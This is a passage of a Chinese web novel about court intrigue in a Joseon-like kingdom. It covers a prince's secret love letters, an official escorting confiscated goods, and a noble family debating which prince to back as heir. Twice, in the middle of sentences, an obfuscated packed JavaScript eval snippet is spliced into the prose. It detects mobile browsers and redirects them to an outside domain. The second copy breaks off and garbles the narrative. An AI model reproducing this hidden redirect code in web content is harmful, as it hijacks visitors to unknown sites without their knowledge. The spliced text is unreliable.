信?他的信?他这些信,全部都是曾经被“囚禁”在殿里时写给宋景熙用来缓解相思之苦的。这些信一个都寄不出去,送不到宋景熙手上,但李澄还是写了,那时没有这些信,他不能保证自己还活得下去。信上......都写满了他对宋景熙的情意,那才是他真正想写的,他真正想对想念的人说的话,他写一封,就悄悄藏起来害怕宫人发现,只有在屏退宫人后才敢拿出来读一读,读一个字心就痛一分,读一段呼吸就顺不来。 可笑的是,自从和韩暎互通情笺后,他绞尽脑汁写不出,只好将曾经写给宋景熙的书信取出来稍稍改动后摹写一遍,再寄给韩暎。韩暎没有察觉出异样,而且感动得不行。 昨晚,他实在太过郁结不能解,便将所有藏起来的信件翻出来,一个个看,越看越心烦心闷心痛,干脆一脚踢翻桌案,倒地哭着哭着,就睡着了,被韩圣吉吵醒的时候,眼睛还是干涩的。 他这些信件,绝对都是不曾被人发现过的,在他殿里伺候那么多年的内侍和尚宫都没发现,怎么可能给韩氏通风报信,只有可能,只有一个可能...... 李澄两颊肌肉抖动,恨恨地道:“你搜了我的宫殿?!” 韩圣吉唉了一声:“盟友之间,如何能用搜这个字眼呢?盟友之间不该有秘密隐瞒不是吗,我不过是想知道你在撒什么谎罢了,果然你对我妹妹的感情是作假啊,我已经开始有点担心我妹妹的婚姻了。我以为我们是盟友。” 李澄脸颊抖得更厉害。虚伪!虚伪!拿韩暎作交换的是他一个人吗?!韩圣吉这个狗贼!! 可是他不能骂出来,只好眼睛死死盯着韩圣吉道:“我没有龙阳之好。” 韩圣吉:“......那是?” 李澄一字一句吐出来:“不过是曾经喜欢过罢了,那时年轻,太蠢了......与我现在不同。现在我只想要我想要的...权势,不可能为了他而放弃我们的同盟,你大可放心,你也会得到你想要的。我对你妹妹虽无真心,但她既然是我发妻,便是要和我生同衾死同穴之人,我不会辜负她。” 韩圣吉满意地重复了一遍:“盟友。”而后道:“睿南君,看来我还是应该对你多加信任。但愿我们之间不会互相使心计,坦诚相待,这样才能达到我们的目的啊,我们是绑在一起的人,对吗。” “你说得对。”李澄勾起嘴角僵硬地笑了笑。 韩圣吉道:“既然如此,那我也就好歹话直说了,睿南君,你的计划进行得如何了?” 李澄道:“放心,一切顺利。很快我们的第一步就走出去了。你那边如何?” 韩圣吉笼了笼袖子,微笑道:“与君同。” 李澄早就收回去的嘴角此刻又勾起来了,竟露出一抹残忍的笑。他心底有一种难以言喻的激动感,仿佛成功近在咫尺唾手可得,事情发展得这么顺利,这也隐隐能证明他的选择,他做的事是正确的! “我知道了。” 52. 孽牙其二 数日后,东郡。 “天气晴,风景佳。” 宋景熙第一天到东郡的时候,就在日记上留下了这样的文字。 他从前没有写日记的爱好,至于现在为什么写了,大概是受到爱写日记的赵家人的影响吧。 赵家人都被抓走以后,东郡的官衙就空置了下来,汉阳一时半会还没有派新官走马上任,而是让曳扇台的密使们接手打点东郡事务。在宋景熙和韩时元一行人赶到东郡后,入主官衙的自然就是他们这些人了。 宋景熙刚刚醒来,盯着房顶发了发愣,还以为自己在汉阳,直到听到外面有人叩门道:“大人,有要紧事......” 宋景熙揉了揉眼睛,又抬臂在眼前扫了扫,让眼前清晰了点后,便回道:“稍等,待我穿身衣服再去处理。” 他一边取下架子上的官服——对,东郡郡守的衣服,现在他是代理东郡郡守了,一边朝外面道:“什么要紧事?” 外面道:“有许多平民堵在了衙门门口......” 宋景熙惊讶道:“堵在门口了?怎么回事?有冤情相告吗?” 也许是十几岁的时候话本和杂书看多了,听到外面小吏的话,宋景熙的脑海里便浮现出挨了冤枉的平头百姓跪在衙门边上,用悲苦的声音讲述着自己惨痛的遭遇,希望“青天白日大老爷”能伸张正义,此时一大批围观群众包围在衙门口,一边指指点点,一边窃窃私语,也就正在此时,根本不是啥好东西的狗官大腹便便地从官衙里大摇大摆地走了出来,完全不在意百姓死活,只眯着两只眼瘪着一张嘴不耐烦地挥手驱逐...... 以往读到这个情节,年纪轻轻的宋景熙都对这种狗官深恶痛绝,下决心要是能进司宪府,一定给这些狗官全部弹劾进大狱了。但那时十几岁大义凛然激情满满的宋景熙大概没想到,多年后的他居然就成了话本子里的“狗官”! ......其实只是当上了狗官的“官”罢了。至于狗不狗嘛,那得看当这个官的怎么做了。宋景熙一边系腰带,一边想着赵家人肯定算是狗官,现在自己暂时代替了赵家人的位置,那一定要好好处理冤情! 外面道:“这...小的说不清楚,只是他们都说着想见见大人,说什么见不到就明日再来,明日见不到就后日再来,一定要见到大人您才行。” 果然!宋景熙不由得自信地扬起唇角,他想的果然没错。照这个措辞,那一定是遭受了天大的委屈,正等着他解决,得快点了!这么想着,连穿衣服的速度都快了点。 官衙外。 一片热火朝天,果然人多,但居然大半都是女子,凑过来的男人本就不多,还大多都被挤在后边儿。这群人里,年纪轻的有之,上了年纪的有之,甚至还有抱着小孩来的。好吧,这不重要,问题是,根本没有谁跪在地上痛苦流涕,以头抢地。 一个也没有!根本没看见!!宋景熙顿时开始怀疑难道这是东郡人独特的欢迎新官上任的礼节了?东郡人热情似火! 一见到他,围绕在衙门口的女子们登时发出捂住嘴发出了一阵阵惊呼。接着,有不少女子的脸都泛起了红晕,不仅如此,几位挤在最内圈的面涂脂粉的男子也捂住了泛起红晕的脸颊。 宋景熙:“???” 他问一旁的小吏:“这是怎么了?” 小吏支吾道:“这、这......小的不好意思说......” 一位绿色衣着的女子好像听到了宋景熙的问题,便手拿帕子捂着唇轻笑道:“哎呀,郡守大人,我们昨日听说有位容貌俊美的男子是我们新的官老爷,我们想着百闻不如一见,都是慕着大人您的貌美而来的呢!” 一位紫色衣着的女子拿扇子遮着脸,也朱唇轻启地笑道:“是呀!今日一见,果然传言非虚呀,您真是好看呢!” 两位女子话一说完,其他人也纷纷附和,娇羞之态有之,明媚之态有之,大胆欣赏之态亦有之,都是不吝夸赞,说得宋景熙都有点不好意思了,上次他去江原道的时候,的确也是有很多人夸赞他长得如何如何,但也没有这么多人都涌在他面前一齐夸,实在是让他受宠若惊了。 他不禁红了红耳朵,拱手道:“多谢各位夸赞,实在是过奖了,多谢多谢......大家也都很好看啊!各位简直就像花朵一般绽放在我面前,我都快要看不过来各位的貌美了......” 东郡人的热情,他喜欢! 宋景熙含笑扫了一眼面前,却顿时在几名面涂脂粉、神情羞态的男子身上定住了。这些男子躲藏在人群当中,正含羞带怯着,若有若无地朝他眉目传情。 “......” “???” 女子见到他神色羞怯也就罢了,怎么还有男子???难道,难道...是女扮男装?? 就在他惊异之余,这几名男子的神色瞬间又变了,双眼瞪如牛眼,似乎看到了什么震惊的事物,纷纷朝宋景熙看去......不对!是朝宋景熙身后看去! 宋景熙后知后觉地扭头一看,韩时元不知何时出现,此刻正站在他身后,神色虽然平静,但带着一丝不解,和宋景熙对视上后,淡淡一笑,道:“怎么了?围着这么多人。” 绿衣女子惊呼道:“这个也好看!” 韩时元:“?” 他早早醒了,不便打扰宋景熙休息,便一直在客房和随行而来的天沛天锋商议事情,之后便有一名小吏过来叩门,说“郡守大人醒了,现在正在衙门口见人”,然后他便来了。 没想到,场面会是这样。 宋景熙道:“不是什么要紧事......你怎么还穿着这身?” 他眼前的韩时元,依旧是一身束腰皂色劲衣,也就是曳扇台密使最钟爱的款式,好像韩时元穿这身穿了很多年了,一直未曾变过。宋景熙记得十分清楚,六年前在眉寿山,他也就穿着这么一身,这么多年,除了尺寸变了,样式一点没变。 虽然的确好看就是了。 绿衣女子道:“有句话说得好嘛,男要俏......” 当即有人回答道:“一身皂!” 宋景熙忍不住笑出声了。俏?是挺俏的。不过他就纳闷了,韩时元究竟是多不爱穿其它颜色、其它样式的衣服?这回入主东郡官衙,李珘还让他们多穿穿官服,好借着官衙官员的名头在东郡行事,宋景熙是听进去了,穿了身杂色时服出来,但韩时元似乎一点没听进去啊。 韩时元低头看了眼,道:“习惯了。”又抬眼看着宋景熙,墨色眸子里浮现出淡淡笑意,道:“你穿这身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773801|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很好看。” 宋景熙抬手扶了扶帽子,心里倒是高兴,就是还有些奇怪,只好也夸回去:“......你也好看。” 紫衣女子摇了摇扇子,轻笑道:“两位大人怎么还互夸呀,依我看哪,两位都好看得紧呢!姐妹们说是不是呀?” “是!” “是~” 一群甜丝丝的声音,说完还哈哈哈笑成了一团,女子男子都笑得花枝乱颤。这时,紫衣女子疑惑地哎呀了一声:“怎么回事呀?郡守大人的耳朵这是...怎么红了?诶,郡守大人别捂着呀,多好看多可爱呀!” 宋景熙早就知道自己肯定耳朵红了,毕竟被这么多人围着夸,又笑得开心,哪有不脸红的道理。一听这位紫衣女子说他耳红了,他下意识摸了一下,结果又换来了紫衣女子的调戏,一群人顿时又都笑开了。宋景熙更是瞬间耳朵都快着火了,倒不是气的,不用想,遭这么一调笑,耳朵肯定更红了,捂着不是,不捂着也不是。 众人笑得前俯后仰间,他鬼使神差地朝韩时元看了眼,韩时元居然也盯着他耳朵看着,笑得也是十分开怀。 “......” “好了好了,还请各位早些离开了。”韩时元笑道:“郡守大人有事在身,恕不暂陪,先行一步了。”说罢,便一只手轻轻地圈起宋景熙的手腕,将人牵走了。宋景熙也不放手,任由他牵着走。门口众人,亦有惊呼,亦有惋惜,但无论何种声音,都被他们甩在了身后。 天沛和天锋还在韩时元居住的客房里等着,本来正在商议待会运送赃物和巡视东郡辖下海岸线的事宜,但老大韩时元忽然离开了,于是开始不老实起来,在老大的客房里到处摸索,摸摸这个,摸摸那个。简直不知道赵郡守一家在东郡为官这么多年里到底捞了多少金,连客房都摆放着不少珍件,其中还不乏从未见过的外邦造物,造型独特精致,很是惹人稀奇。 天沛手里正拿着个酒舀,往桌上的一坛酒里捣鼓着,并冲天锋道:“这酒醇的嘞,尝一口?咱俩偷偷来一口......” 忽然,客房的门被推开了,走进来两个人,天沛吓了一跳,吓得最后一句话变了声,手里的酒舀也掉进了酒坛里,挠挠头道:“嘿...嘿嘿,老大你们回来了?” 走进来的时候,也不知道是谁先主动松了手,反正宋景熙和韩时元是松开手了,天沛和天锋也没注意到,反而因为欲偷喝酒被现场抓包,完全没体察到一丝丝不对劲的感觉。 韩时元看上去心情不错:“心虚什么,想偷喝酒?” 天沛并指发誓:“绝无此事!” 宋景熙对突然出现的酒坛子有些好奇,现在可是禁酒令时期,酒是大忌,便问道:“这是哪来的酒?” 韩时元解释道:“赵家人在官衙下方挖了一间酒窖,私藏着数百坛酒,这些酒,老师下令运回汉阳。” “数百坛?”宋景熙不免感到惊讶,赵家人私藏这么多酒,一个颈子上就算长了十颗脑袋都不够砍的。“什么时候发现的,现在才运走吗?” “早先人手都在运送赵家日记,抽不开身,这些酒一直拖延至今。现下日记都运走了,便只剩下这些私酒和赵家私藏的珍品。” “悉数运回汉阳?” “没错。” 53. 孽牙其三 宋景熙又不禁感叹,赵家人在东郡的生活还真是滋润。从密使收缴的赵家开支账本来看,赵家每年都会有一笔说不清来源的大笔银钱进库,这些银钱大多用来支付那位“海商”的解忧草,而剩下的,则是赵家人自己拿来享受日子的。 而这点,从赵家人略显奢靡的用度上就看得出来。东郡官衙里不仅私藏着许多价值不菲的珍品,还因赵家人爱喝酒兑解忧草,甚至在官衙下挖了一间酒窖来藏酒。赵郡守分明只是一个小小的从四品郡守,却远比比郡守高两三个品级的府使和牧使过得还滋润。当然了,原因么,之前李珘派在东郡的第一批密使也已经查明了:由于东郡沿海,掌握着部分津渡口,所以赵家人也就掌控了东郡的船贸生意,之所以有钱,大概是放行了不少想要出去或进来贸易的黑商。 韩时元看向天锋道:“人手备齐了?” 天锋点头道:“备齐了,一共七匹车马,十五人护送,大概需要分三批运送。不过...老大,还是按照我们之前说的做吗?” 韩时元稍稍颔首。宋景熙正要问什么意思,便对上了韩时元的视线,听他道:“先前密使运送日记时遭到了袭击,有两名密使受了箭伤。而我们如今仍尚未开始在东郡部署人手,黑手也许会潜入或已经潜入东郡,之后的运送行动都需小心行事。” 宋景熙道:“袭击??我还以为黑手只会阻止我们在沿海缉捕海商,居然还会袭击我们的人手。”他沉吟片刻,继续道:“不过这是不是也能说明,黑手并非是无动于衷的,至少对于我们捉住海商这件事做不到气定神闲,因为不敢坐视不理,所以才会出手骚扰我们?” “认同。黑手也会感到恐惧罢了。”韩时元神色认真地道:“并且,我倾向于认为黑手尚未混入沿岸,否则不会在尚未出东郡时攻击运送的密使。” 一旁的天沛和天锋也听着听着点起了头,他们方才和韩时元讨论的差不多就是这些。 宋景熙道:“这点,我也认同。不过,守卫在东郡边界的都是御营厅的士兵,而且皆是训练有素的精兵,黑手能穿过这些御营厅的眼线在东郡内袭击我们,一来说明防卫并不严密,难怪老师要我们来调配和部署人手,二来说明黑手能力不俗,往后更需多加小心了。那这些酒水的运送,还有这些私藏珍品也要收缴了运回汉阳......怎么保证不受袭击?” 韩时元道:“先排查边界是否有人闯入,若是没有,便先运送酒水。此外,出东郡前先走陆路,出东郡后即刻转为水路,以货船运之,顺水路便能直抵汉阳。除非黑手有船,否则走水路最为安全。出东郡前的陆路一段,则由我来护送。” 宋景熙道:“这方法倒是好,先走水路,即便遭受袭击也不会损失过重。不过...我也要去。” 韩时元微笑罢,讶然道:“...也去?” 宋景熙神色坚定:“我也要去护送。别说什么危险不危险,待在官衙靠一张嘴来指点这不是我该做的事,既然老师派我来了,那我就尽心尽力地负我的责。何况,我又不是不会打架,遇上情况了也能帮上忙不是吗?我也要去。” 天沛搭了条胳膊在天锋肩上,抖抖腿高兴地道:“太好了,这下除了运送的十五个人,再加我们四个,一共有十九个人了!超安全啊!” 韩时元笑着叹了口气,让步道:“好吧,有我呢。” 此后三日,经排查,并未发现黑手潜入的踪迹。车马和船都已备好,运送任务正式开始。 一帆风顺。宋景熙和韩时元以及天沛天锋每每将货运小队送至水路渡口,在确认水路畅通无误后便折返回东郡,等小队回来后又如此重复,来回三次,酒水已经运送完毕了,黑手依旧未现身作妖。 第四回,这次是运送收缴来的赵家的私藏珍品了。 艳阳日。 宋景熙骑在马上,晃晃悠悠地道:“看来黑手知道再袭击我们并不讨好了。” 天沛也摇摇晃晃地道:“已经没那个胆子咯~” 片刻后,差不多快要出东郡了,宋景熙仿佛能看到远处一条横在大地上的江水,江面闪着亮而细长的波光。 就在此时,天锋往右边眯了眯眼,而后大声道:“左前方有人!” 韩时元立即抬手,车队停了下来,众人都握起武器,眼神尖锐地朝左前方扫去。 然而,那里哪有什么手持刀箭的凶恶歹徒,离车队很远很远的地方,一个小小的山坡上,坐着一个小小的人。 天锋诧异道:“似乎,是个女孩?” 真是个小女孩,安安静静地坐在那里,也不叫唤,就只是看着车队。但她所在的位置,是车队这次选择的路里的必经之路。 车队放缓速度,也没放松警惕,一手握武器,一手握缰绳,紧紧盯着那道小小的身影前行。 等靠近了,却发现确实只有一个女孩,十三四岁模样,头发乱糟糟的,浑身脏兮兮的,活像个小乞儿,不知为何会出现在这里,这里渺无人烟。 宋景熙骑马靠近女孩,试探地道:“你好?” 女孩张了张嘴,好像说话了,但没发出声。 宋景熙继续耐心道:“你是谁?为什么出现在这里?你的家里人呢?” 女孩又张了张嘴,上下嘴唇一块抖,又好像说话了,但又没发出声。宋景熙心道:“难不成是哑儿?” 接着,女孩忽然眼睛颤了颤,随即流出泪来,泪流下脸颊,这才使宋景熙和其他一众人注意到女孩脏兮兮的脸上已经有很多干涸的泪痕了。心中顿时讶然道:“这是已经哭过很多次了?” 天沛可怜地道:“哎呀啊,怎么哭了......怎么回事,这孩子,你家里人不管你吗?怎么扔你一个人在野外啊!” 韩时元道:“她似乎不会说话。” 天锋道:“她好像很饿。” 天沛道:“你怎么知道??” 天锋白了天沛一眼:“你没饿过吗?这么瘦弱,一看就是饿成这样的,连哭都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋景熙道:“我一个人可以做两个人的任务,调一个人护送她吧。护送她的人原本的任务就由我来顶替。” 天沛道:“这...这真的行吗,好像、好像也不是不行?”他说完,和天锋一起看向了韩时元。 韩时元简略回道:“不必顶替。我也可以做两个人的事。人手虽紧,却也不是稀缺。调一个人出来护送她去存善堂。” 女孩愣愣地看着几人,没再摇头,但一语不发。 ...... 日夜交替中,在东郡已然待了不少时日,所有赃物运送完毕,人手也已经调配和部署完毕,韩时元向汉阳曳扇台发了信,很快收到了回复。 信上,除了李珘高兴表达赞赏外,还提起了另一件事。 世子嫔小产,生出死婴,是个男孩。世子嫔身心俱痛之中,不幸骤然逝世。 54. 孽牙其四 一轮明月高悬。 汉阳,宋府。 宋道真行色匆匆地踏进府门,焦躁的心情写在了脸上,刚进门,便朝身旁一直跟随的家仆道:“快去叫景元来见我。” 家仆道是,离开了。宋道真也快步转进自己的院子,进了自己的房间——他和夫人分房多年,虽在一间院子里,却睡在各自的房里。他自认为这叫相敬如宾,谁也不会麻烦着谁,比如他就时常晚归,但夫人完全不会过问,他也不需要夫人服侍。踏进院子的时候,他也没朝夫人那边看一眼。 他今日晚归,不为别的,正是在和关系甚密的同僚谈论世子嫔小产之事,一直谈论到深夜,都没达成什么共识。他得找自己的长子来问一问。 一刻后,宋景元出现在宋父宋母的院门处。该说不说,这又是个面容俊秀的玉面郎君,和宋景熙有着六七分相似,只是更加温润柔和。他一身穿着整齐,看似神清气爽,其实刚被摇醒。 换做宋景熙,可能只穿一身寝衣就来了。但宋景元不行,他是个家中邻里都称赞的模范公子,注定要和礼法缠一辈子,他要是穿一身寝衣来,宋道真一定会面带愠色地教导他君子之仪,长子该有长子的风范云云。 宋景元习惯了。从自己的院子一路走来,深谙父亲所想的他,大概也猜到了父亲为何半夜找他。 家仆见宋景元走进来,便打开房门。果不其然,宋景元刚走进来,还待行礼,宋道真已经急躁地伸出一只手打断了他,道:“坐下来!主上昨日召见了你,没和你说什么世子嫔之类的话吧?” 宋景元行礼的手都还没抬起来,心道父亲这是真的很急躁,连规规矩矩的问礼都不需要了,他也只好道:“......回父亲,没有。” 宋道真道:“那世子呢?” 宋景元愣了愣:“主上也...并未提及。” 宋道真皱起额头,道:“不是已经下葬了的世子,景元,你知道为父是何意思!” 宋景元低头沉默了小片刻。父亲问的是王上召见他时有没有提及心仪的新世子人选了,但那会王上召见他,只是很纯粹地问了两个问题。第一个问题,是问他祖母德平翁主去世的时候,他伤不伤心,他不明白王上的用意,所以只规矩地回答说“孝为人之本,祖母去世,臣那时万分伤心,成日以泪洗面。”王上没表态,接着问了第二个问题,是这样问的:“卿那时的伤心和悲痛,和寡人如今失去唯一的嫡子的悲痛一样吗?” 宋景元觉得这两个问题都怪异非常,王上隔了这么久才召见他一回,还是这两个奇怪的问题,他摸不清王上的用意,也不知道怎么回答才是正确的,绞尽脑汁只想出一句:“大凡亲人离世,皆让人悲痛不已。臣以为悲痛正如欢快一般,都是人拥有的相似的情感,不尽相同,也并无高低之分。不过话虽如此,东宫薨逝是国家的灾难,更是万千臣民的悲痛,万千人的悲痛加在一起,那便是比臣的祖母去世更加悲痛的事情。臣...但愿主上节哀。” 王上听后,默思片刻,抚掌赞道:“卿说得很好。”随后挥挥手,让宋景元离开了。 宋景元将问答一五一十地告诉了父亲。宋道真听完,额头更皱了,手掌放在桌上拍来拍去,半晌后才道:“主上这是什么意思?”他还以为王上会借景元的口来试探宋氏有没有扶持哪位王子的心思,结果这两个不明不白的问题,直接让宋道真内心的不安燃烧得更厉害了。 宋景元垂首道:“...儿子也不知。” 宋道真停下了拍桌,渐渐合拢拳心,面色凝重道:“景元,你说说,我们该不该找个扶持的对象?” 宋景元抬起眼:“......父亲!” 宋道真道:“好了!这是我们自己家,哪会有什么监听的家伙。全汉阳的官都在讨论这个事情,我们又哪里算得上是失言。我想问你,你就尽管说!” 宋景元道:“......是,父亲。” 宋道真继续道:“景元啊,你也知道,主上早就对我们宋氏不如从前了。依我在朝廷上的观察,现在沈提学正和他那群自持清流的同僚商议着如何扶持瑞泉君上位,我们绝不能让他们办成这件事情,否则将来在朝廷上我们宋氏会再无一席之地。但除了瑞泉君,剩下几位王子的生母皆非世家出身,都只是宫中宫女或宫婢,若得不到朝廷官员的扶持,那必然斗不过瑞泉君背后的士林派那帮人。然而这倒也是我们的机会,既然没有背景,那就需要我们这些人作为背景,为父说句失言的话,这是我们在选我们的的主君,只要我们扶持一位王子,将瑞泉君打压下去,届时家门便可再度光耀。为父也和几位同僚商议过了,但仍不知该扶持谁好,有人觉得睿南君好,有人又觉得五王子好,各自持有各自的观点,还让为父来做选择。景元,若是你,你怎么选?” 宋景元道:“不知父亲的同僚各自持有的理由是何?” 宋道真道:“难道你不该已经洞悉了吗,景元?” “......”宋景元略略低了低头道:“儿子先猜测一番,还请父亲指点。先论及睿南君,想必支持者认为其足够年长,心智成熟,学业虽不出挑,不如先世子,却也不算过差,而由其生母早逝,若过继于中殿,便有了正当的名分,并且这点可能是支持者最看中的一点,因为中殿曾抚养过睿南君一段时间;那么反对者则应该是认为睿南君早年性格怪异,不守宫中规矩多回,人品德性难以把控,这才导致睿南君由中殿抚养不过半年后便分离了,再加之其生母为宫婢,即使过继于中殿,血统也是抹不开的,宫婢之子的身份很难得到臣民信服,因此反对者又认为睿南君不是个好人选。再论及五王子,反对者认为其年龄过小,又贪玩贪乐,学业不精,生母家世也并不出众,比起睿南君来说并无何等优势;而反对者则会反其道思之,认为正因年纪小才更好教养。” 宋道真道:“这哪里需要我指点?你说得很准确,很完美。那么哪者更该得我们心仪?” 宋景元道:“父亲...更心仪前者吗?” 宋道真道:“这可不好说。” 宋景元抿唇道:“是的,父亲,这很不好说。我们要么不扶持任何一位王子......” “这不可能。”宋道真果决道:“这不在我的打算之内。我们不做这件事,瑞泉君就会顺利当上王世子,我们一样得不到好下场。” 宋景元:“那......要么,我们选择了谁,那他就必须成为世子。” 宋道真:“不错,只许成,不许败。想当年你祖父和韩兵判,就是成功了,才有了我们家门如今的兴盛。但我们不能忘记那些当年站在你祖父和韩兵判对面的人,因为他们选择的主君最终没有成为国君,所以他们的家门也遭了殃,有罪之人加罪,无罪之人安罪,有多少人被赐死?有多少人被流放?被流放之人又有多少死在路上?那时我还没有你,还是个年轻气盛的男子,我站在刑场上,看到那些人的脑袋被砍下来,和地上的泥浆混在一起,他们争位时有多风光,失败后就有多狼狈。我们绝不能败......否则,我们的家门也会遭殃。唉,我们身为人臣,总要面临这些抉择,而且是你我不得不做的抉择,容不得我们弃权,即便做出了选择,还有更多选择在面前,一旦哪一步棋下错,那会永远失去上场的机会。从北向南那样多流放之地,说不准有朝一日会是我们的归宿。” 他呼了一口气,放松道:“不过,这倒也不必悲观。为父混迹官场三十年,步步皆走在正确的道路上,想必是你祖父泉下有灵,一直以来在庇护着家门。所幸我还有你这个儿子,既然我们要赢......你怎么打算?” 宋景元道:“儿子认为,不如模仿祖父的做法。除了瑞泉君和沈提学,我们实际还有一个不容小觑的对手,便是领相。我们不知道领相那边怎么想,假使他们韩氏选择了我们的对面,那单是与领相对抗就足以耗尽我们的力气,瑞泉君和沈提学则会从其中得利,成为胜者。这应当不是宋氏和韩氏任何一方想看到的结局,所以...我觉得,或许我们应该和韩氏谈一谈。” 宋道真捏紧了拳头:“真是不想看到韩义亨那张贼脸!不过么,景元,你说的也对,要是我们选了睿南君而韩义亨选了五王子,那我们只会两败俱伤。只能这样了,我改日挑个日子,和韩义亨谈一谈......他最好以礼待我!” 屋外冷风呜呜刮了两声。突然,一声声音不大不小的“阿嚏”打断了屋内二人的对话,宋道真警觉道:“谁在外面?” 屋外又刮了一阵风,刮走了片刻沉默,接着门被推开,一个声音道:“父亲,长兄,你们在聊什么?” 这声音略带一丝疑惑。推开门说话的人,正是宋景熙! 宋景元吃惊道:“景熙?你怎么在这?” 宋景熙打哈哈道:“方才见这里灯还亮着,想着来看一看。” 宋道真见到小儿子,一点也不高兴道:“你刚在外面多久了?” 宋景熙道:“就一会儿。外面太冷了。” 他其实很早就站在门口了,只是没推开门而已,父兄说的话他听到了大半。之所以没一来就推门“捣乱”,是因为他也在思考和父兄同样的问题。 他早就该知道的,父兄不可能在世子之争里不站队。那时李澄和他说,宋氏即便不支持他,也不要站在他对面。再后来,宋景熙又知道了,李澄找的扶持他自己的势力就是韩氏。 宋景熙觉得,和韩氏勾结,是不会有什么好下场的。他也完全没料到李澄会和韩氏勾结上,明明按照这两方的性格,就是用一条绳子牵着也会企图勒死对方,如今联手,定然不是什么好事情。他都不用多思考,就能猜到李澄一定要委曲求全,李澄那样受了一点委屈就要全力报复回去的性格,现在要向他最讨厌的人之一低头,不知道往后还会不会做出什么更吓人的事情。 宋道真似乎不是很信,还想问什么,宋景元赶紧先开口了,他问宋景熙道:“你不是有事离开汉阳了么,回来这般早?” 宋景熙浅浅一笑:“听说出了不好的事情,所以早些做完事情早些回来了,连夜赶回来的。长兄好不容易见到我一次,不该高兴吗?” 宋景元被逗笑了:“高兴,高兴得很。” 宋道真侧起身体,哼道:“亏你知道回来,成日在府里见不到人影,也真是回来的及时。我和你哥正聊着要紧事,你就知道来捣乱了。” 宋景熙道:“我哪里捣乱了?” 宋道真道:“没捣乱也出去!回你自己院子去,你只要在这就不会做什么正经事!” 宋景熙不高兴了:“好吧,那我走了。”说完,竟真的走了。 他一直在思考,既然他不可能劝说父兄不站队,那么在睿南君和五王子之中,他要劝说父兄选哪个?当然他还有别的选择,袖手旁观,不去插手这些事。就像他对李澄说的话一样,他对帮人追求权势没兴趣。 并且,扪心自问,从苍生百姓的角度来看,李澄并不适合登上王位,因为百姓需要的是一位能君,一位仁君,众王子中,曾经符合这一点的是先世子,如今符合这一点的有且只有瑞泉君。但从两班官僚的角度来看,谁适不适合并不重要,重要的是谁能给他们带来好处,更重要的是不会给他们带来坏处,似乎表面看来只要不参与斗争就能明哲保身,然而事实上在宋氏、韩氏的位置上,不做选择和选择错了,都会带来坏处,所以他们只能选择参与斗争。他们只能在睿南君和五王子这两个似乎方方面面都不如瑞泉君的王子中选择一个成为他们要追随、要扶持的主君。 王权实际上是由臣子的权势堆积起来的东西,王并不是一直握着刀柄的人,臣子也并不是一直握着刀锋的人,有时候,刀柄会从王的手中转到臣子的手中。李澄似乎不是很明白这一点,实际上是将刀柄送给了韩氏。 宋景熙在想,要是自己是粗布百姓,一定会选瑞泉君;要是他是两班贵族,是勋旧派,一定会选睿南君或五王子。 而他是后者。尽管身份可能会变化,但他现在,的确是后者。 就像他父兄无法支持瑞泉君一样,他也无法支持瑞泉君。而在睿南君和五王子当中选一个,加上一点私人情感,那他会选睿南君。 而他已经比父兄早一步知道了韩氏支持的人选是睿南君,那么在睿南君和五王子当中摇摆的父兄一旦和韩义亨谈一谈,那韩义亨就一定会拉宋氏入伙,对抗瑞泉君的势力就会增大,李澄当上世子的胜算就会更大。其实这根本不需要宋景熙来劝说父兄选哪个,因为他已经“预见”了之后世子之争会变成什么样,父兄一定会和韩氏站在一条线上,支持睿南君。赢了,对苍生百姓似乎不好,输了,对家门亲人必定不好。 ......还不如不预见。 这样,至少对结果没有负担,心情不会这么沉重。 他真的在风中站了很久,最后决定装作什么都不知道,顺其自然。一边劝说自己李澄也许会好好做一个世子,事情也许不会那么糟糕,一边劝说自己谁做世子还是王上说了算,自己不必瞎操心。 宋景熙搓了搓手,回自己院子了。 ...... 半夜。 不知是何原因,宋景熙夜醒了,明明没有做梦,却惊出一身虚汗。从床上坐起来的时候,心跳很快,气却顺不出去,堵得心慌胸闷,只好从床上起来,找件衣服批上,推门出去了。 也不知是什么时辰,总之是夜色沉沉。宋景熙在院子里散了一圈,又走出院门,随便绕绕,散着散着,冷风吹吹,果然不那么心慌胸闷了,人也走到了一间屋子下,这时,他才发觉自己走到了长兄的院子附近。 原本两兄弟的院子就靠得近。他方才溜了很久,经过自己和长兄的院子数回,这会回神了,定在宋景元屋前,心道:“不知道长兄睡了没。” 宋景熙认为长兄的压力可比他大多了,连他都睡不好,长兄能睡得好? 他忽然就想起,自己很早就一个人睡了,但那时胆子小,不习惯一个人睡,有时害怕地跑到母亲那去睡,被父亲发现后,就不准他去父母的院子了。过了一阵,他还是怕,就跑到长兄的屋子里去,那时长兄还会开玩笑,说“我像你这么大的时候也一个人睡,我怎么不害怕呀?看来你是个胆小鬼。”虽然嘴上这么说,但还是会收留他。 现在他觉得,长兄说的果然不错,他其实就是一个胆小鬼而已。 那时候,每回他都睡得很香,不过发现了一件奇怪的事情,就是自己每次醒来,都会又回到自己的房间,可自己明明前一晚偷溜去了长兄那。 年纪小,思考不了那么多,也就很少在意过,只是觉得很神奇。后来长大了些,不怕黑了,也开始喜欢一个人睡了。再稍长大些,想起这件事,忽然顿悟,其实不是什么神奇的事情,只是每到即将天明之时,长兄都会抱他回自己的屋子,这样一来母亲或家仆查房时就不会发现了。 宋景熙站在原地,拿脚碾了碾地上的尘土,故意发出挺大的声音,心想屋内长兄要是没睡,肯定会听到的。 但他碾了半天,屋里也没什么动静。看来是睡着去了。 宋景熙心道:“挺好的,睡得好,就很好了。” 